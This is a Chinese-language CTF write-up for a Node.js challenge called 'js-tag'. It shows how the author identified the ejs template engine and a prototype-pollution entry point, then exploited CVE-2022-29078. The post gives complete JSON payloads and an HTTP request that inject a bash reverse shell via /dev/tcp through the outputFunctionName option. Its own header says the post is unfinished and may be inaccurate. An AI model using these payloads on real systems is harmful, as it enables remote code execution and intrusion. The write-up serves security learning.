js-tag 题解

CTF

本文章暂未完成,不保证文章的准确性。不建议您作为参考或进行转载。

这篇文章最后更新于 天前,文中描述的信息可能已经过时,请多加查证后再作参考。

image

* 本题允许下载源码,所以本题也可以下载源码并通过代码审计找到漏洞解题。以下内容是以未下载源码的视角编写的。

启动抓包软件并打开题目地址,尝试添加标签、查看标签的功能。之后观察请求内容。首先应该注意到题目是 js-tag,既这是一道 Node.js 题目。

其次,主页和查看标签页所有上的所有的内容都是直接放在 HTML 文件中的,并没有请求接口使用 DOM 接口添加值。基本可以确定使用了模板语言。Node.js 现在主流的模板引擎有 ejs 和 Jade 两个,这是观察渲染出的 HTML 文档,存在一些空行,首页标签列表上存在一个空行,而且 HTML 头部并未完美格式化。基本可以确定题目使用 Node.js 并采用了 ejs 作为模板引擎。

知道以上信息后,由于 Snyk 漏洞数据库中有 Node.js 依赖包的详细漏洞数据,我们可以在 Snyk 漏洞库中查找 ejs 模板引擎相关的漏洞,可以看到漏洞 SNYK-JS-EJS-2803307CVE-2022-29078 可以触发 RCE,但前提是已经有原型链污染存在。

同时,我们还可以在请求中找到包含 JSON 的请求,是原型链污染比较常见的入口。先尝试在原型链中注入随机字符串,HTTP 请求体如下:

image

服务器返回结果 400 Bad Request,基本可以确定原型链注入失败。可以推断后端有对输入值的判断,尝试在原本的 JSON 上添加原型链污染内容,即将请求体改成如下内容并发送:

1
{"name":"tag","description":"des","__proto__":{"oQJq3Fn3":""}}

服务器返回 200 OK,说明此处有可能存在原型链污染漏洞。这时我们输入 SNYK-JS-EJS-2803307 中提供的 PoC 并进行一定的修改,将请求体改成如下内容并发送,同时在自己的主机上监听对应端口,准备接收反弹 Shell:

1
{"name":"tag","description":"des","__proto__":{"outputFunctionName":"je3K4RXS;process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/0.0.0.0/8243 0>&1\"');je3K4RXS"}}

发送之后尝试刷新网页以触发 RCE,但是访问被拒绝,Node.js 进程很有可能已经出错退出。说明原型链污染漏洞确实存在,但注入的 JavaScript 语句会导致程序出错退出。有一种可能是服务端的 Node.js 使用了 ECMAScript 语法而不是 PoC 中的 CommonJS 语法。找出使注入语句生效的源码,如下:

1
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

根据如上内容和 JavaScript 知识,我们可以写出 ECMAScript 版本的注入内容,并尽量使用随机字符串作为变量,防止出现变量二次定义触发错误,内容如下:

1
Nh9ywhLO;import('child_process').then(g7jEcyWm=>g7jEcyWm.execSync('bash -c \"bash -i >& /dev/tcp/0.0.0.0/8243 0>&1\"'));Nh9ywhLO

将如上内容添加到请求体中,构造成如下请求并发送,成功触发 RCE 并成功连接反弹 Shell,在程序的目录下就可以找到 flag。

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: 127.0.0.1:8243
Content-Length: 151
Content-Type: application/json
Accept: */*
Connection: close

{"name":"tag","description":"des","__proto__":{"outputFunctionName":"Nh9ywhLO;import('child_process').then(g7jEcyWm=>g7jEcyWm.execSync('bash -c \"bash -i >& /dev/tcp/0.0.0.0/8243 0>&1\"'));Nh9ywhLO"}}

本文作者:Henrize Kim

文章链接: https://henrize.kim/article/aa2bd8c847f6/

本文使用 CC BY-NC-SA 3.0 协议进行许可,使用时请注意遵守协议。